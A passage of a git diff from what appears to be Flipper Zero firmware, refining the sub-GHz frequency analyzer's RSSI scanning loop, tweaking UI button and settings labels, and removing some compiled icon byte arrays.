subghz_frequency_analyzer_worker_thread(void* context) { } } - if(frequency_rssi.rssi > -90.0) { - // -0.5 ... 433.92 ... +0.5 - frequency_start = frequency_rssi.frequency - 250000; - //step 10KHz + FURI_LOG_T( + TAG, + "RSSI: avg %f, max %f at %u, min %f", + (double)(rssi_avg / rssi_avg_samples), + (double)frequency_rssi.rssi, + frequency_rssi.frequency, + (double)rssi_min); + + // Second stage: fine scan + if(frequency_rssi.rssi > SUBGHZ_FREQUENCY_ANALYZER_THRESHOLD) { + FURI_LOG_D(TAG, "~:%u:%f", frequency_rssi.frequency, (double)frequency_rssi.rssi); + frequency_rssi.rssi = -127.0; furi_hal_subghz_idle(); - furi_hal_subghz_load_registers(subghz_preset_ook_58khz); - for(uint32_t i = frequency_start; i < frequency_start + 500000; i += 10000) { + subghz_frequency_analyzer_worker_load_registers(subghz_preset_ook_58khz); + //-0.3 ... 433.92 ... +0.3 step 10KHz + for(uint32_t i = frequency_rssi.frequency - 300000; + i < frequency_rssi.frequency + 300000; + i += 20000) { if(furi_hal_subghz_is_frequency_valid(i)) { - furi_hal_subghz_idle(); - frequency = furi_hal_subghz_set_frequency(i); - furi_hal_subghz_rx(); - osDelay(3); + furi_hal_spi_acquire(&furi_hal_spi_bus_handle_subghz); + cc1101_switch_to_idle(&furi_hal_spi_bus_handle_subghz); + frequency = cc1101_set_frequency(&furi_hal_spi_bus_handle_subghz, i); + + cc1101_calibrate(&furi_hal_spi_bus_handle_subghz); + do { + status = cc1101_get_status(&furi_hal_spi_bus_handle_subghz); + } while(status.STATE != CC1101StateIDLE); + + cc1101_switch_to_rx(&furi_hal_spi_bus_handle_subghz); + furi_hal_spi_release(&furi_hal_spi_bus_handle_subghz); + + // delay will be in range between 1 and 2ms + osDelay(2); + rssi = furi_hal_subghz_get_rssi(); if(frequency_rssi.rssi < rssi) { frequency_rssi.rssi = rssi; @@ -117,20 +190,24 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { } } - if(frequency_rssi.rssi > -90.0) { - instance->count_repet = 20; + // Deliver results + if(frequency_rssi.rssi > SUBGHZ_FREQUENCY_ANALYZER_THRESHOLD) { + FURI_LOG_D(TAG, "=:%u:%f", frequency_rssi.frequency, (double)frequency_rssi.rssi); + + instance->sample_hold_counter = 20; if(instance->filVal) { frequency_rssi.frequency = subghz_frequency_analyzer_worker_expRunningAverageAdaptive( instance, frequency_rssi.frequency); } - if(instance->pair_callback) + // Deliver callback + if(instance->pair_callback) { instance->pair_callback( instance->context, frequency_rssi.frequency, frequency_rssi.rssi); - + } } else { - if(instance->count_repet > 0) { - instance->count_repet--; + if(instance->sample_hold_counter > 0) { + instance->sample_hold_counter--; } else { instance->filVal = 0; if(instance->pair_callback) instance->pair_callback(instance->context, 0, 0); diff --git a/applications/subghz/scenes/subghz_scene_show_error.c b/applications/subghz/scenes/subghz_scene_show_error.c index 2998bf8e5..5632a859e 100644 --- a/applications/subghz/scenes/subghz_scene_show_error.c +++ b/applications/subghz/scenes/subghz_scene_show_error.c @@ -37,7 +37,7 @@ void subghz_scene_show_error_on_enter(void* context) { if(scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneShowError) == SubGhzCustomEventManagerSet) { widget_add_button_element( - subghz->widget, GuiButtonTypeRight, "Ok", subghz_scene_show_error_callback, subghz); + subghz->widget, GuiButtonTypeRight, "OK", subghz_scene_show_error_callback, subghz); } else { notification_message(subghz->notifications, &subghs_sequence_sd_error); } diff --git a/applications/system/system_settings.c b/applications/system/system_settings.c index 97017c8df..7bbcdd7bb 100644 --- a/applications/system/system_settings.c +++ b/applications/system/system_settings.c @@ -30,8 +30,8 @@ static void log_level_changed(VariableItem* item) { } const char* const debug_text[] = { - "Disable", - "Enable", + "OFF", + "ON", }; static void debug_changed(VariableItem* item) { diff --git a/assets/compiled/assets_icons.c b/assets/compiled/assets_icons.c index 566a22fd4..9046dddd7 100644 --- a/assets/compiled/assets_icons.c +++ b/assets/compiled/assets_icons.c @@ -190,9 +190,6 @@ const uint8_t* const _I_DolphinFirstStart8_56x51[] = {_I_DolphinFirstStart8_56x5 const uint8_t _I_DolphinOkay_41x43_0[] = {0x01,0x00,0xa0,0x00,0x00,0x0f,0x82,0x3e,0x05,0x38,0xf7,0x80,0x08,0x58,0x08,0x0c,0x02,0x0e,0x05,0x1b,0x00,0x08,0x63,0x00,0x21,0x88,0x00,0x86,0x40,0x02,0x18,0x40,0x08,0x68,0x00,0x21,0x82,0x06,0x88,0x0a,0xf0,0x21,0x39,0x09,0x84,0x02,0x20,0x57,0x09,0x98,0x15,0x67,0xc0,0x54,0xbe,0x81,0x4f,0x01,0xfe,0x02,0x9d,0x03,0xc4,0x20,0x10,0x29,0x7c,0x80,0xa9,0xfe,0x02,0xac,0x14,0x0a,0x77,0xc8,0x58,0x8c,0xf0,0x11,0x51,0x79,0xff,0x61,0x44,0x93,0x81,0x02,0xc4,0x9e,0x60,0xb2,0xf0,0xa0,0x46,0x0c,0x17,0x14,0x99,0x1a,0x07,0x80,0x59,0x49,0x82,0x21,0xc0,0xa4,0x82,0x24,0xb9,0x20,0x88,0x1c,0x47,0xc2,0x07,0x11,0x54,0xa0,0x60,0x53,0xb8,0x0a,0x4b,0xf3,0x03,0x87,0x81,0x4a,0x0d,0xfc,0x1a,0x98,0x68,0xb8,0x01,0x51,0x13,0x15,0xe0,0x82,0x7f,0x8d,0x78,0x38,0xbf,0xff,0xfa,0xb8,0x60,0xbf,0x1b,0xf9,0x50,0x14,0xea,0xe7,0x02,0x02,0x8e,0xac,0x94,0x40,}; const uint8_t* const _I_DolphinOkay_41x43[] = {_I_DolphinOkay_41x43_0}; -const uint8_t _I_Flipper_young_80x60_0[] = {0x01,0x00,0xa3,0x01,0x00,0x1e,0x03,0xff,0xff,0x87,0x82,0x57,0xf1,0x83,0x90,0xde,0x01,0x2b,0x0e,0x83,0x70,0xfb,0x10,0x10,0x41,0xf8,0x27,0x70,0xcc,0x34,0xc6,0x0e,0x09,0x3e,0x04,0x86,0x21,0x0c,0x90,0xc3,0x03,0xa9,0xe7,0xb0,0x46,0x2c,0x51,0x40,0x4a,0x63,0x38,0x31,0x0a,0x34,0x90,0x12,0x91,0x8e,0x3c,0xff,0x89,0x4c,0x04,0xa4,0x43,0xfd,0xf3,0xc3,0xf2,0x01,0x29,0xe0,0x2b,0x8e,0x72,0xa0,0x46,0x4b,0xe0,0x30,0xba,0x10,0x22,0xca,0x1c,0x0b,0x26,0x09,0x3c,0x04,0x0c,0x08,0x59,0xc8,0x21,0x64,0xc4,0x47,0x98,0x82,0x81,0x0a,0xe0,0x21,0x39,0x04,0x34,0x88,0x60,0x93,0xa0,0x45,0x4b,0x06,0xa3,0x40,0x48,0xfc,0x20,0xf0,0x82,0xa2,0x4d,0x60,0x11,0xe9,0xc2,0x19,0x64,0xd0,0x08,0x1f,0x80,0x7e,0x60,0x01,0x92,0x60,0x20,0x38,0x05,0x21,0x7c,0x3f,0xf0,0x1a,0xe6,0x00,0xe6,0x21,0x32,0x1a,0x0c,0x0e,0x91,0x80,0x8f,0xc0,0x06,0x25,0xcc,0xbf,0xc1,0xaa,0x10,0x0b,0xfc,0x02,0x60,0x2e,0x2c,0x04,0x32,0xc1,0x00,0xff,0x40,0x68,0x00,0x91,0x89,0xc0,0x21,0x20,0x51,0xfe,0x41,0xf0,0x00,0x91,0xc4,0xcf,0xe2,0x40,0x51,0xfc,0x0c,0x86,0x07,0x80,0xe2,0xdf,0xda,0x25,0xf0,0x9f,0xc0,0x21,0x98,0x0f,0x27,0xfd,0xa2,0x5e,0x01,0x90,0xc4,0x30,0x1e,0x2f,0xfc,0xa1,0x3a,0x45,0x41,0xb0,0x60,0x3e,0x5e,0x79,0x4a,0x10,0xbf,0xe2,0x61,0xc0,0x82,0x52,0x01,0xff,0x36,0x8e,0x3b,0xe5,0xff,0x04,0x9f,0xf8,0x78,0x3b,0x8f,0x97,0xf8,0x12,0x7f,0xc3,0x78,0xf8,0x3e,0x5f,0xc0,0x49,0xfe,0x08,0xc2,0x17,0x1f,0xcd,0xa5,0xac,0x5f,0x02,0x30,0xc0,0x30,0x5f,0xfd,0x23,0xbc,0xbc,0x1f,0xf0,0xc1,0x5f,0xaa,0x8e,0x52,0x28,0x10,0x10,0x6f,0x1b,0x28,0x57,0x81,0x66,0x25,0x01,0x80,0x4e,0x28,0x15,0x98,0xad,0xc3,0xfd,0xff,0xff,0x91,0x87,0xc1,0x80,0xd4,0xc2,0xb2,0x03,0xb1,0x5b,0x13,0x34,0x6a,0xf1,0x58,0x84,0x0e,0x1d,0x00,0x23,0x14,0x0f,0x55,0x0a,0x88,0x67,0x0d,0x83,0x7c,0x04,0x8c,0x0a,0xa9,0x15,0x90,0x7c,0x07,0x23,0xf8,0x80,0xc1,0xa0,0xda,0x88,0x54,0x82,0x00,0x2f,0x1f,0xe4,0x3c,0x7a,0x35,0x08,0xab,0x20,0x7f,0x03,0xc1,0x2d,0x96,0x82,0x14,0xce,0x20,0x02,0x04,0xc6,0x00,0x60,0x20,0x01,0x84,0xc4,0x6a,0x21,0x36,0x3b,0x8c,0xf0,0x3c,0xc8,0x02,0x1b,0x88,0x01,0xe1,0x80,0x98,0x2d,0x10,0x01,0xb0,0x05,0xa1,0x00,0x3d,0xf8,0x13,0x17,0x81,0x47,0x80,0x0b,0xc0,0x28,0x8e,0x02,0xa4,0x81,0x2c,0xf0,0x20,0x01,0x00,}; -const uint8_t* const _I_Flipper_young_80x60[] = {_I_Flipper_young_80x60_0}; - const uint8_t _I_ArrowDownEmpty_14x15_0[] = {0x01,0x00,0x17,0x00,0xfc,0x41,0xe1,0x10,0x40,0x0c,0xc3,0xe7,0x90,0x19,0x04,0x0a,0x20,0x08,0x10,0x48,0xc4,0x20,0x52,0x08,0x0f,0x02,0x00,}; const uint8_t* const _I_ArrowDownEmpty_14x15[] = {_I_ArrowDownEmpty_14x15_0}; @@ -205,9 +202,6 @@ const uint8_t* const _I_ArrowUpEmpty_14x15[] = {_I_ArrowUpEmpty_14x15_0}; const uint8_t _I_ArrowUpFilled_14x15_0[] = {0x00,0xC0,0x00,0x20,0x01,0xD0,0x02,0xE8,0x05,0xF4,0x0B,0xFA,0x17,0x61,0x21,0xAF,0x3D,0x68,0x05,0xA8,0x05,0x68,0x05,0xA8,0x05,0xE8,0x05,0x08,0x04,0xF8,0x07,}; const uint8_t* const _I_ArrowUpFilled_14x15[] = {_I_ArrowUpFilled_14x15_0}; -const uint8_t _I_Back_15x10_0[] = {0x00,0x04,0x00,0x06,0x00,0xFF,0x0F,0x06,0x10,0x04,0x20,0x00,0x40,0x00,0x40,0x00,0x20,0x00,0x10,0xFE,0x0F,}; -const uint8_t* const _I_Back_15x10[] = {_I_Back_15x10_0}; - const uint8_t _I_DolphinReadingSuccess_59x63_0[] = {0x01,0x00,0x19,0x01,0x00,0x1d,0x00,0x0f,0xd2,0x00,0x21,0xe0,0x3f,0xf0,0xf9,0x00,0x40,0xee,0x00,0x11,0x88,0x04,0x0e,0x18,0x11,0x18,0x8c,0x40,0x0e,0x50,0x30,0x10,0xc0,0xa1,0x01,0xe2,0x05,0x14,0x12,0x08,0x33,0x58,0x44,0x08,0x66,0xa1,0xe3,0x01,0x9c,0x83,0x00,0x24,0x11,0x11,0x06,0xc4,0x76,0x20,0x75,0x15,0x99,0x48,0xc0,0xe9,0x0f,0x03,0x95,0xfc,0x86,0x3c,0x09,0x80,0x1c,0x7c,0x00,0x91,0x81,0x48,0x2f,0xc1,0x41,0x8c,0xc0,0x20,0x30,0x1c,0x87,0xfc,0x0e,0x30,0x70,0x70,0x81,0xc7,0xe6,0x07,0x18,0x08,0x1c,0xb9,0x1e,0x38,0x0f,0x02,0x01,0xf0,0x03,0xa0,0xa4,0x7f,0x90,0x30,0x38,0xff,0xe0,0x28,0x21,0xff,0x06,0x44,0x0e,0x46,0xe1,0x01,0x8c,0x03,0x34,0x2f,0x25,0x18,0x80,0xc7,0x2a,0x03,0x2e,0x01,0x3c,0x70,0x12,0xa2,0x39,0x78,0x27,0xe0,0x31,0xea,0x82,0xc4,0x6c,0x31,0xf0,0x78,0xea,0xb0,0x22,0x31,0xfc,0x1a,0xc6,0x01,0x55,0x25,0x88,0xf8,0x4b,0x02,0x1f,0x13,0xe1,0x7f,0x97,0x85,0x15,0x03,0x90,0xf8,0xa0,0x10,0xa1,0xb1,0x0e,0x88,0x00,0x7f,0x0f,0xc0,0x7c,0x57,0x27,0x3c,0xb0,0x7f,0x5f,0xa9,0x1f,0xc0,0x6a,0xc5,0x05,0xc0,0xf0,0x11,0x46,0xac,0x18,0x3f,0xf9,0x54,0x75,0x00,0x73,0x1f,0x0f,0xfe,0xfe,0xc6,0x30,0x01,0xbc,0x48,0x00,0x84,0x82,0x00,0x1b,0x64,0xc0,0x07,0x60,0x03,0xb4,0x70,0x0c,0xbf,0x82,0x31,0x01,0x8d,0x0c,0x40,0x02,0x37,0x08,0x1d,0x74,0x00,0x76,0xa0,0x01,0xdb,0x01,0xfe,0x85,0x8b,0x96,0xaa,0x9b,0x30,0x01,0x6a,0xa3,0x40,0x75,0xaa,0x03,0xdb,0x50,0xbb,0x30,0x01,0x54,0x24,0x25,0xe6,0x51,0x08,0x1f,0x68,0x00,0x7f,0x03,0xf2,0x79,0xc0,0xf4,}; const uint8_t* const _I_DolphinReadingSuccess_59x63[] = {_I_DolphinReadingSuccess_59x63_0}; @@ -217,9 +211,6 @@ const uint8_t* const _I_Down_25x27[] = {_I_Down_25x27_0}; const uint8_t _I_Down_hvr_25x27_0[] = {0x01,0x00,0x3a,0x00,0xfc,0x7f,0xe7,0xf0,0x0f,0xe7,0xfe,0xff,0x00,0xff,0x7f,0xff,0xf0,0x00,0x10,0xff,0xe0,0x20,0x3f,0x01,0x9c,0x3e,0x01,0xe0,0x01,0xa4,0x7e,0x01,0xf0,0x80,0x8b,0x47,0xf1,0x01,0x16,0x8f,0xf0,0x2e,0x23,0x11,0x01,0x88,0x04,0xf0,0x60,0x32,0xe3,0x80,0xcb,0xde,0x37,0xf0,0x1a,0x95,0xcc,0xbe,0x66,0x73,}; const uint8_t* const _I_Down_hvr_25x27[] = {_I_Down_hvr_25x27_0}; -const uint8_t _I_Fill_marker_7x7_0[] = {0x00,0x1C,0x32,0x6F,0x5F,0x7F,0x3E,0x1C,}; -const uint8_t* const _I_Fill_marker_7x7[] = {_I_Fill_marker_7x7_0}; - const uint8_t _I_InfraredArrowDown_4x8_0[] = {0x00,0xFF,0x7E,0x3C,0x18,}; const uint8_t* const _I_InfraredArrowDown_4x8[] = {_I_InfraredArrowDown_4x8_0}; @@ -268,9 +259,6 @@ const uint8_t* const _I_Vol_up_25x27[] = {_I_Vol_up_25x27_0}; const uint8_t _I_Vol_up_hvr_25x27_0[] = {0x01,0x00,0x28,0x00,0xfc,0x7f,0xe7,0xf0,0x0f,0xe7,0xfe,0xff,0x00,0xff,0x7f,0xff,0xf0,0x00,0x10,0xff,0xe0,0x20,0x38,0xf7,0x80,0xfc,0x06,0xa2,0xd1,0xfc,0x00,0xd0,0x2f,0xe0,0x38,0x21,0xd8,0x0c,0x8a,0xe6,0x5f,0x33,0x39,0x80,}; const uint8_t* const _I_Vol_up_hvr_25x27[] = {_I_Vol_up_hvr_25x27_0}; -const uint8_t _I_Back3_45x8_0[] = {0x00,0x04,0x00,0x10,0x00,0x40,0x00,0x06,0x00,0x18,0x00,0x60,0x00,0x7F,0x00,0xFC,0x01,0xF0,0x07,0x86,0x20,0x18,0x82,0x60,0x08,0x04,0x71,0x10,0xC4,0x41,0x10,0x00,0x21,0x00,0x84,0x00,0x10,0x80,0x00,0x00,0x02,0x00,0x08,0x7E,0x00,0xF8,0x01,0xE0,0x07,}; -const uint8_t* const _I_Back3_45x8[] = {_I_Back3_45x8_0}; - const uint8_t _I_DoorLeft_70x55_0[] = {0x01,0x00,0x19,0x01,0x00,0x2c,0x32,0x01,0x03,0x04,0x2c,0x18,0x10,0xf0,0x40,0x47,0x82,0x06,0x81,0x03,0xff,0x80,0x08,0x1a,0x20,0x82,0x15,0x28,0x21,0x87,0x82,0x08,0x6f,0xc0,0xb1,0xe6,0x10,0x10,0x8b,0x46,0x20,0x43,0x55,0x8f,0x82,0x10,0x32,0x73,0x0a,0x09,0x89,0x6c,0x1e,0x09,0x00,0x18,0x60,0xf0,0x0c,0x84,0x93,0x82,0x03,0x18,0x0c,0x02,0x1d,0x00,0x90,0x52,0x70,0x50,0x1e,0x00,0x58,0x63,0x90,0x0a,0x06,0x4a,0x09,0x03,0xb0,0x02,0x06,0x70,0x62,0x49,0xf8,0x0c,0x66,0x3f,0xf0,0x41,0x63,0x04,0x43,0x00,0x99,0x60,0x00,0x85,0xc8,0x06,0x14,0xd0,0x80,0x3f,0xc8,0x0d,0xb8,0x10,0x70,0xf8,0x34,0x13,0x03,0x39,0x04,0x1c,0x42,0x19,0xf8,0xa0,0xc2,0x01,0x07,0xef,0x02,0x8c,0x80,0x10,0x9d,0x00,0x43,0xec,0x00,0xa3,0x10,0x04,0x25,0xce,0x19,0xfc,0x88,0x82,0x12,0x0c,0x35,0x10,0x42,0x4c,0xa1,0x90,0x3f,0xc0,0x21,0x22,0x39,0x82,0xc8,0x88,0xd2,0x11,0xf0,0x01,0x88,0xd5,0x18,0xe2,0x08,0x68,0x10,0x0c,0xa8,0x00,0x83,0x81,0xcc,0xd5,0xc3,0x80,0x84,0x82,0x0e,0xcc,0xc0,0x15,0x79,0x02,0x0b,0x98,0xf8,0x11,0x88,0x82,0x0f,0x31,0x19,0x02,0x08,0x2c,0x9f,0x6a,0x1d,0x20,0x41,0x31,0x4c,0x10,0x8d,0x73,0x04,0x23,0xa4,0xc4,0x6c,0xde,0x20,0x42,0xcc,0x01,0x07,0x07,0xff,0x80,0x06,0x3e,0x08,0x38,0x70,0x20,0xa1,0xe0,0x83,0x8e,0x01,0x0c,0xf0,0x73,0x80,0x43,0x70,0x05,0x08,0x00,0x2c,0x04,0xc4,0x46,0x53,0x09,0x98,0x24,0x80,0x65,0x80,0xb0,0xd9,0x84,0x65,0x32,0x06,0x17,0x0f,0x98,0x23,0x63,0xe1,0x88,0xc4,0x08,0x5f,0xc1,0x30,0x9d,0x84,0x4e,0x66,0x94,0x11,0x98,0x75,0x26,0x00,}; const uint8_t* const _I_DoorLeft_70x55[] = {_I_DoorLeft_70x55_0}; @@ -328,16 +316,6 @@ const uint8_t _A_Bluetooth_14_4[] = {0x00,0x10,0x00,0x30,0x00,0x51,0x00,0x92,0x0 const uint8_t _A_Bluetooth_14_5[] = {0x00,0x10,0x00,0x30,0x00,0x51,0x00,0x92,0x00,0x94,0x04,0x58,0x08,0x30,0x09,0x30,0x09,0x58,0x08,0x94,0x04,0x92,0x00,0x51,0x00,0x30,0x00,0x10,0x00,}; const uint8_t* const _A_Bluetooth_14[] = {_A_Bluetooth_14_0,_A_Bluetooth_14_1,_A_Bluetooth_14_2,_A_Bluetooth_14_3,_A_Bluetooth_14_4,_A_Bluetooth_14_5}; -const uint8_t _A_Clock_14_0[] = {0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x49,0x12,0x41,0x10,0x41,0x10,0x01,0x10,0x09,0x12,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; -const uint8_t _A_Clock_14_1[] = {0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x09,0x13,0x81,0x10,0x41,0x10,0x01,0x10,0x09,0x12,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; -const uint8_t _A_Clock_14_2[] = {0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x09,0x12,0x01,0x10,0xC1,0x11,0x01,0x10,0x09,0x12,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; -const uint8_t _A_Clock_14_3[] = {0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x09,0x12,0x01,0x10,0x41,0x10,0x81,0x10,0x09,0x13,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; -const uint8_t _A_Clock_14_4[] = {0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x09,0x12,0x01,0x10,0x41,0x10,0x41,0x10,0x49,0x12,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; -const uint8_t _A_Clock_14_5[] = {0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x09,0x12,0x01,0x10,0x41,0x10,0x21,0x10,0x19,0x12,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; -const uint8_t _A_Clock_14_6[] = {0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x09,0x12,0x01,0x10,0x71,0x10,0x01,0x10,0x09,0x12,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; -const uint8_t _A_Clock_14_7[] = {0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x19,0x12,0x21,0x10,0x41,0x10,0x01,0x10,0x09,0x12,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; -const uint8_t* const _A_Clock_14[] = {_A_Clock_14_0,_A_Clock_14_1,_A_Clock_14_2,_A_Clock_14_3,_A_Clock_14_4,_A_Clock_14_5,_A_Clock_14_6,_A_Clock_14_7}; - const uint8_t _A_Debug_14_0[] = {0x00,0x20,0x01,0xC1,0x20,0x22,0x11,0x24,0x09,0xD9,0x26,0x16,0x1A,0xD8,0x06,0xD8,0x06,0xD6,0x1A,0x19,0x26,0xE4,0x09,0xC2,0x10,0x01,0x20,0x00,0x00,}; const uint8_t _A_Debug_14_1[] = {0x00,0x20,0x01,0xC0,0x00,0x22,0x11,0x25,0x29,0xD8,0x06,0x16,0x1A,0xD9,0x26,0xD8,0x06,0xD4,0x0A,0x12,0x12,0xEA,0x15,0xC5,0x28,0x02,0x10,0x02,0x10,}; const uint8_t _A_Debug_14_2[] = {0x00,0x20,0x01,0xC0,0x00,0x20,0x01,0x24,0x09,0xDA,0x16,0x11,0x22,0xDC,0x0E,0xDA,0x16,0xD9,0x26,0x14,0x0A,0xF2,0x13,0xD1,0x22,0x08,0x04,0x06,0x18,}; @@ -385,13 +363,6 @@ const uint8_t _A_Infrared_14_4[] = {0x01,0x00,0x0e,0x00,0x00,0x5f,0x82,0x02,0x05 const uint8_t _A_Infrared_14_5[] = {0x01,0x00,0x15,0x00,0x00,0x2f,0xc2,0x07,0x08,0x82,0x01,0x47,0xc1,0x01,0x05,0x98,0x14,0x41,0xa3,0xf8,0x83,0x80,0x47,0xff,0x3f,}; const uint8_t* const _A_Infrared_14[] = {_A_Infrared_14_0,_A_Infrared_14_1,_A_Infrared_14_2,_A_Infrared_14_3,_A_Infrared_14_4,_A_Infrared_14_5}; -const uint8_t _A_MusicPlayer_14_0[] = {0x01,0x00,0x17,0x00,0x00,0x1e,0x02,0x01,0xc0,0x80,0xf0,0x20,0x74,0x08,0x15,0x02,0x00,0x01,0x3b,0x84,0x02,0xf0,0x01,0x29,0x80,0x5c,0x80,}; -const uint8_t _A_MusicPlayer_14_1[] = {0x01,0x00,0x16,0x00,0x80,0x41,0x20,0x10,0xe8,0x04,0x7a,0x01,0x12,0x80,0x40,0x80,0x27,0x80,0x81,0xf0,0x00,0x25,0x80,0x80,0x86,0x94,}; -const uint8_t _A_MusicPlayer_14_2[] = {0x01,0x00,0x13,0x00,0x00,0x34,0x82,0x03,0x30,0x81,0xcc,0x20,0x51,0x08,0x00,0x05,0x63,0x90,0x08,0xf0,0x04,0xa1,0x80,}; -const uint8_t _A_MusicPlayer_14_3[] = {0x01,0x00,0x16,0x00,0x82,0x40,0x21,0xd0,0x08,0xf4,0x02,0x25,0x00,0x81,0x00,0x52,0x07,0x20,0x81,0xcc,0x00,0x23,0x01,0x90,0x06,0xd4,}; -const uint8_t _A_MusicPlayer_14_4[] = {0x01,0x00,0x15,0x00,0x00,0x2c,0x82,0x01,0x70,0x80,0x7c,0x20,0x19,0x08,0x04,0x40,0x02,0x91,0xc8,0x04,0x78,0x02,0x50,0xc8,0x00,}; -const uint8_t* const _A_MusicPlayer_14[] = {_A_MusicPlayer_14_0,_A_MusicPlayer_14_1,_A_MusicPlayer_14_2,_A_MusicPlayer_14_3,_A_MusicPlayer_14_4}; - const uint8_t _A_NFC_14_0[] = {0x00,0x00,0x08,0x00,0x10,0x00,0x12,0x00,0x22,0x42,0x24,0x87,0x24,0x8D,0x24,0x99,0x24,0xF1,0x24,0x62,0x24,0x00,0x22,0x00,0x12,0x00,0x10,0x00,0x08,}; const uint8_t _A_NFC_14_1[] = {0x01,0x00,0x1a,0x00,0x80,0x42,0x20,0x11,0x00,0x09,0x48,0x28,0x52,0x0c,0x3c,0x83,0x1b,0x20,0xcc,0xc8,0x3e,0x32,0x0b,0x14,0x80,0x1a,0x21,0x34,0x84,0x00,}; const uint8_t _A_NFC_14_2[] = {0x01,0x00,0x10,0x00,0x00,0x3d,0x0a,0x01,0x87,0x80,0x63,0x60,0x19,0x98,0x07,0xc6,0x01,0x62,0x09,0xc0,}; @@ -458,38 +429,6 @@ const uint8_t _A_U2F_14_2[] = {0x00,0xE0,0x01,0x10,0x02,0x08,0x04,0x08,0x04,0x08 const uint8_t _A_U2F_14_3[] = {0x00,0x00,0x00,0xE0,0x01,0x10,0x02,0x08,0x04,0x08,0x04,0xFE,0x1F,0x01,0x20,0xD5,0x2D,0x55,0x25,0x15,0x2D,0x95,0x24,0xDD,0x25,0x01,0x20,0xFE,0x1F,}; const uint8_t* const _A_U2F_14[] = {_A_U2F_14_0,_A_U2F_14_1,_A_U2F_14_2,_A_U2F_14_3}; -const uint8_t _A_UniversalRemote_14_0[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; -const uint8_t _A_UniversalRemote_14_1[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; -const uint8_t _A_UniversalRemote_14_2[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; -const uint8_t _A_UniversalRemote_14_3[] = {0x01,0x00,0x1a,0x00,0xd0,0x40,0x7f,0x10,0x70,0x08,0xc2,0x20,0x91,0x08,0x10,0x0c,0x60,0x90,0x88,0x64,0x32,0x30,0x09,0x2c,0xc4,0x18,0x26,0x78,0x08,0x08,}; -const uint8_t _A_UniversalRemote_14_4[] = {0x00,0x40,0x01,0xF8,0x07,0xF8,0x07,0x18,0x04,0x10,0x06,0x08,0x04,0x0C,0x0C,0x08,0x04,0x18,0x02,0x10,0x06,0xD8,0x06,0xF8,0x07,0xF8,0x07,0x00,0x00,}; -const uint8_t _A_UniversalRemote_14_5[] = {0x00,0x00,0x00,0xF0,0x07,0xF8,0x07,0x18,0x04,0x18,0x06,0x10,0x02,0x08,0x04,0x08,0x04,0x10,0x02,0x18,0x06,0xD8,0x06,0xF8,0x07,0xF0,0x03,0x00,0x00,}; -const uint8_t _A_UniversalRemote_14_6[] = {0x00,0x00,0x01,0xF0,0x03,0xF8,0x07,0x18,0x04,0x10,0x02,0x18,0x04,0x0C,0x0C,0x08,0x04,0x18,0x02,0x10,0x02,0xF8,0x06,0xF8,0x07,0xF0,0x07,0x00,0x00,}; -const uint8_t _A_UniversalRemote_14_7[] = {0x00,0x00,0x00,0xF8,0x07,0xF8,0x07,0x00,0x04,0x10,0x04,0x08,0x04,0x0C,0x0C,0x0C,0x0C,0x18,0x04,0x00,0x04,0xD8,0x06,0xF8,0x07,0xF0,0x03,0x00,0x00,}; -const uint8_t _A_UniversalRemote_14_8[] = {0x00,0x00,0x00,0xF0,0x07,0xF8,0x07,0x18,0x04,0x08,0x04,0x0C,0x0C,0x0A,0x1C,0x0E,0x18,0x08,0x0C,0x48,0x00,0xD8,0x06,0xF8,0x07,0xF0,0x03,0x40,0x00,}; -const uint8_t _A_UniversalRemote_14_9[] = {0x00,0x20,0x02,0xF8,0x07,0xF8,0x07,0x08,0x04,0x00,0x04,0x0C,0x0C,0x0B,0x34,0x0E,0x1C,0x0C,0x0C,0xE0,0x01,0xD8,0x06,0xF8,0x07,0xF8,0x07,0x00,0x00,}; -const uint8_t _A_UniversalRemote_14_10[] = {0x00,0xA0,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x08,0x00,0x0C,0x0C,0x0B,0x34,0x0A,0x14,0x0C,0x0C,0xF0,0x01,0x98,0x05,0xF8,0x07,0xF8,0x07,0x40,0x00,}; -const uint8_t _A_UniversalRemote_14_11[] = {0x00,0xA0,0x01,0xF8,0x07,0xF8,0x07,0x00,0x00,0x00,0x00,0x0E,0x0C,0x0A,0x34,0x0B,0x14,0x0C,0x0C,0xE0,0x01,0x98,0x05,0xF8,0x07,0xD8,0x07,0x60,0x00,}; -const uint8_t _A_UniversalRemote_14_12[] = 